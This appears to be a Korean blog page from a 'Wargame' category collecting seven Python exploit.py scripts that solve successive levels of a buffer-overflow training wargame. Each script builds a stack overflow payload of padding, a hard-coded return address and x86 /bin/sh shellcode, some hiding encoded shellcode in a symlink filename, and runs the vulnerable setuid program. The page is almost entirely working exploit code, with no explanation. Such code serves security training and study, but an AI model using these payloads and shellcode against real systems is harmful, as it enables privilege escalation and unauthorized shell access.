'Wargame'에 해당되는 글 454건

exploit.py

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/orge/troll'
shellAddress =  p(0xbffffba8)
payload = "A"*44+shellAddress
shellCode = "\x90"*28+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"


os.system("/bin/ln -s " + path + " " + shellCode)


os.execl("./"+shellCode,"./"+shellCode,payload)

exploit.py

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/darkelf/orge'
shellAddress =  p(0xbffffb8c)
payload = "A"*44+shellAddress
shellCode = "\x90"*27+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"


os.system("/bin/ln -s " + path + " " + shellCode)


os.execl("./"+shellCode,"./"+shellCode,payload)

exploit.py

import os
from struct import *
p = lambda x : pack("<L" , x)
path = '/home/wolfman/darkelf'
shellAddress =  p(0xbffffb12)
payload = "A"*44+shellAddress
shellCode = "\x90"*105+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
os.system("/bin/ln -s " + path + " " + shellCode)
os.execl("./"+shellCode,"./"+shellCode,payload)

exploit.py

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/goblin/orc'
shellAddress =  p(0xbffffc30)
payload = "A"*44 + shellAddress
payload1 = "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
os.execl(path,path,payload,payload1)

exploit.py

import os
from struct import *


p = lambda x : pack("<L" , x)
path = '/home/cobolt/goblin'
shellAddress =  p(0xbffffba9)
payload = "A"*20+shellAddress
print payload

exploit.py

import os
from struct import *


p = lambda x : pack("<L" , x)


path = '/home/gremlin/cobolt'
shellAddress =  p(0xbffffc44)
payload = "A"*20+shellAddress


os.execl(path,path,payload)

exploit.py

import os
from struct import *


p = lambda x : pack("<L" , x)


shellAddress =  p(0xbffff948)


payload = "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*31+"AAAA"+shellAddress
print payload
os.execl('/home/gate/gremlin','/home/gate/gremlin',payload)